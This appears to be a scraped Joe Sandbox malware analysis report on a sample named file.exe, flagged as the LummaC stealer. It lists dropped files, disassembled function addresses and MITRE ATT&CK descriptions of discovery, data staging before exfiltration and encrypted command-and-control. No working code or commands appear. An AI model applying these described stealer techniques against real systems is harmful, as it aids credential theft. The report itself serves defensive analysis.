Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_91e76ee78e1f204b45c73efb41d5deb2f3e72f7_22e76915_6d55beea-221e-4aa1-acde-4424e739a9d1\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD76D.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD8B6.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD8E6.tmp.xml

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\R2L4HOH3ABPEWSR51AXUR0XR.exe.log

C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Windows Analysis Report
file.exe

Function 052415D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Function 009C42F6 Relevance: 1.6, APIs: 1, Instructions: 85
fileCOMMON

Function 009D2022 Relevance: 4.6, APIs: 3, Instructions: 66
registryCOMMON

Function 009C43CD Relevance: 3.2, APIs: 2, Instructions: 157
fileCOMMON

Function 052415C4 Relevance: 1.8, APIs: 1, Instructions: 303
COMMON

Function 009C16AF Relevance: 1.7, APIs: 1, Instructions: 164
libraryCOMMON

Function 009C18AA Relevance: 1.6, APIs: 1, Instructions: 115
libraryCOMMON

Function 009C444C Relevance: 1.6, APIs: 1, Instructions: 115
fileCOMMON

Function 009C4437 Relevance: 1.6, APIs: 1, Instructions: 108
fileCOMMON

Function 009C4487 Relevance: 1.6, APIs: 1, Instructions: 95
COMMON

Function 009C44A8 Relevance: 1.6, APIs: 1, Instructions: 86
COMMON

Function 009C4318 Relevance: 1.6, APIs: 1, Instructions: 79
fileCOMMON

Function 009C4339 Relevance: 1.6, APIs: 1, Instructions: 77
fileCOMMON

Function 009C4305 Relevance: 1.6, APIs: 1, Instructions: 75
fileCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre